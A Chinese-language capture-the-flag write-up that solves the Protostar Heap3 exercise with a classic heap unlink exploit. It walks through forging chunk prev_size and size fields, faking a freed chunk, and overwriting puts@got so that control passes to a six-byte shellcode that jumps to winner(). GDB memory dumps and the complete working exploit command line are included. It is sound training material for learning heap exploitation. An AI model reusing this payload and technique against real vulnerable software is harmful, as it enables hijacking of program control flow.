classic heap unlink exploit(protostar Heap3)

概述

https://exploit-exercises.com/protostar/heap3/

本題展示了classic heap unlink exploit

 

前置技能:

要了解ptmalloc堆;

熟悉classic heap unlink exploit

題目

Heap3.c

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
char *a, *b, *c;

a = malloc(32);
b = malloc(32);
c = malloc(32);

strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);

free(c);
free(b);
free(a);

printf("dynamite failed?\n");
}

思路

Heap3是使用GLIBC_2.0靜態編譯的。Glibc 2.3.4之前都沒有FD/BK鏈表檢查。因此,可以使用classic heap unlink exploit

 

#查看使用的glibc版本

$ strings ./heap3 | grep GLIBC

GLIBC_2.0

 

【思路】

很明顯,strcpy可以造成溢出,可以使用classic heap unlink exploit

但是,這裏使用classic heap unlink exploit有幾個問題:

(1)malloc分配的是fast chunkfree後會放入fast bin鏈表頭部,不會進入small chunk/large chunkunlink和合並流程。

 

查看glibc 2.0.6的代碼,那個時候還沒有fast chunk

即使有fast chunk,也可以strcpy覆蓋size字段,讓chunk變爲small chunk

 

(2)釋放是先釋放高地址chunk的,後釋放低地址chunk的。爲了使用用戶提供的數據,這裏需要unlink和合並低地址的chunk,但是低地址的chunk還沒有被釋放了。

 

Ptmalloc是通過size字段PREV_INUSE標誌(最低比特)判斷的,爲1表示低地址chunk在使用,爲0表示已釋放。因此可以覆蓋size字段,讓其最低比特爲0即可讓ptmalloc誤認爲低地址chunk已被釋放。同時由於用戶輸入的數據不能包含0,這裏使用負數-4

 

(3)Ptmalloc獲取低地址chunk,是通過本chunk的地址減去prev_size字段得到的,通過覆蓋prev_size,可以控制低地址chunk的位置。如果prev_size爲負數,則獲取的低地址chunk實際上比本chunk地址大。

 

(4)剛開始第一反應是使用unlink來修改puts@got處的值爲addr_of_winner。但是使用unlink修改時,fd-3*Ubk-2*U兩個地址必須可寫。而addr_of_winner位於代碼段,不可寫。這裏通過可寫的shellcode跳轉到winner函數的。

 

【實施過程】

堆內存佈局如下:

 chunk1
0x804c000

prev_size

 

size

 

fd&bk/data[32]

Shellcode

"A"*4
"\x68\x64\x88\x04\x08\xc3"

 chunk2
0x804c028

prev_size

 

size

 

fd&bk/data[32]

"A"*32

 chunk3
0x804c050

prev_size

-8

size

-4

fd&bk/data[32]/
fake_prev_chunk.prev_size&size

"A"*8/"CCCC\0"

data+8/fake_prev_chunk.fd&bk

addr_puts@got-12
==0x0804b11c
addr_of_shellcode
==0x0804c00c

 

 

1. Winner函數的地址

題目的最終目標是控制EIP,執行winner函數。

Winner函數的地址

$ readelf -s ./heap3 | grep win

    74: 08048864    37 FUNC    GLOBAL DEFAULT   14 winne

 

2. Chunk的地址

GDB調試發現3chunk的地址分別爲:

0x0804c000

0x0804c028

0x0804c050

(gdb) b main

Breakpoint 1 at 0x8048892: file heap3/heap3.c, line 16.

(gdb) r

(gdb) b *0x0804889e

(gdb) b *0x080488ae

(gdb) b *0x080488be

(gdb) c

(gdb) x $eax

0x804c008:      0x00000000

(gdb) c

(gdb) x $eax

0x804c030:      0x00000000

(gdb) c

(gdb) x $eax

0x804c058:      0x00000000

 

3. puts@got的地址

$ readelf -r ./heap3 |grep puts         

0804b128  00000e07 R_386_JUMP_SLOT   00000000   puts

 

0x0804b128-12 = 0x0804b11c

 

4. shellcode

跳轉到winne函數:

push 0x08048864

ret

對應的彙編代碼爲:

\x68\x64\x88\x04\x08\xc3

 

利用在線彙編與反彙編

https://defuse.ca/online-x86-assembler.htm#disassembly

 

shellcode的地址是chunk1+0x0c

 

5. GDB調試中的堆內存佈局:

(gdb) b main

Breakpoint 1 at 0x8048892: file heap3/heap3.c, line 16.

(gdb) r $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC

(gdb) b *0x08048911

Breakpoint 2 at 0x8048911: file heap3/heap3.c, line 24.

(gdb) c

Continuing.

 

Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffffd24) at heap3/heap3.c:24

24      in heap3/heap3.c

(gdb) x/120bx 0x0804c000

0x804c000:      0x00    0x00    0x00    0x00    0x29    0x00    0x00    0x00

0x804c008:      0x41    0x41    0x41    0x41    0x68    0x64    0x88    0x04

0x804c010:      0x08    0xc3    0x00    0x00    0x00    0x00    0x00    0x00

0x804c018:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

0x804c020:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

0x804c028:      0x00    0x00    0x00    0x00    0x29    0x00    0x00    0x00

0x804c030:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0x804c038:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0x804c040:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0x804c048:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41

0x804c050:      0xf8    0xff    0xff    0xff    0xfc    0xff    0xff    0xff

0x804c058:      0x43    0x43    0x43    0x43    0x00    0x41    0x41    0x41

0x804c060:      0x1c    0xb1    0x04    0x08    0x0c    0xc0    0x04    0x08

0x804c068:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

0x804c070:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

 

6. Unlink說明

Ø 首先,輸入精心準備的數據。

Chunk1中填入”AAAA” + shellcode

Chunk2中填入"A" * 32

同時覆蓋chunk3prev_size字段爲-8"\xf8\xff\xff\xff"),

覆蓋chunk3size字段爲-4"\xfc\xff\xff\xff")

覆蓋chunk3data字段爲"A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"這實際上是chunk3fake_prev_chunk的前4個字段。

Chunk3中填入”CCCC\0”

這會覆蓋chunk2已經填入的數據"A" * 8會被覆蓋一部分。

Ø free(c)chunk3被釋放

 

if (!(hd & PREV_INUSE)) /* consolidate backward */

{

prevsz = p->prev_size;

p = chunk_at_offset(p, -prevsz);

sz += prevsz;

unlink(p, bck, fwd);

}

定位低地址chunk時,是通過chunk3地址減去其prevsize字段得到的。

這裏chunk3prev_size-8,因此定位的低地址chunk(稱爲fake_prev_chunk)指向了chunk3data部分。

Ø Unlink fake_prev_chunk

因爲chunk3size字段(-4)最低比特(PREV_INUSE)爲0,因此判斷低地址chunk是空閒的,可以unlink

Unlink fake_prev_chunk,會造成

A+3*U的位置寫入了B

B+2*U的位置寫入了A

這裏A+3*U指向puts@gotB指向shellcode

最終會造成puts@got地址處寫入了shellcode的地址;

Shellcode+2*U的地址處寫入了puts@got的地址-3*U

這裏shellcode只有6個字節,shellcode+8被改寫沒有什麼影響

Ø 最終調用printf的時候,由於沒有格式化參數,最終調用的是puts

Puts被我們改爲了指向shellcode,控制權轉向shellcode

Ø shellcode執行後,控制器轉向winner函數

push 0x08048864

ret

 

7. 測試結果:

$ /opt/protostar/bin/heap3 $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC

that wasn't too bad now, was it? @ 1524024651

附件

結論

1. 如果不是small chunk,可以覆蓋size字段,讓chunk變爲small chunk

2. 可以覆蓋size字段,讓其最低比特爲0PREV_INUSE)即可讓ptmalloc誤認爲低地址chunk已被釋放。同時由於用戶輸入的數據不能包含0,可以使用負數如-4

3. 通過覆蓋prev_size,可以控制低地址chunk的位置。如果prev_size爲負數,則獲取的低地址chunk實際上比本chunk地址大。例如prev_size-8時,獲取的低地址chunk實際上是chunk的數據部分。

4. unlink修改got表項時,要注意,被修改的值+2*U的地方必須可寫。由於代碼段不可寫,如果要轉向代碼段的函數,可以通過shellcode跳轉到代碼段。

參考文檔

1. https://gist.github.com/mgeeky/2eea516d7ad732d9f02f530688f55912

2. http://grantcurell.com/2015/08/16/protostar-exploit-challenges-heap3-solution-exploiting-dlmalloc/

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章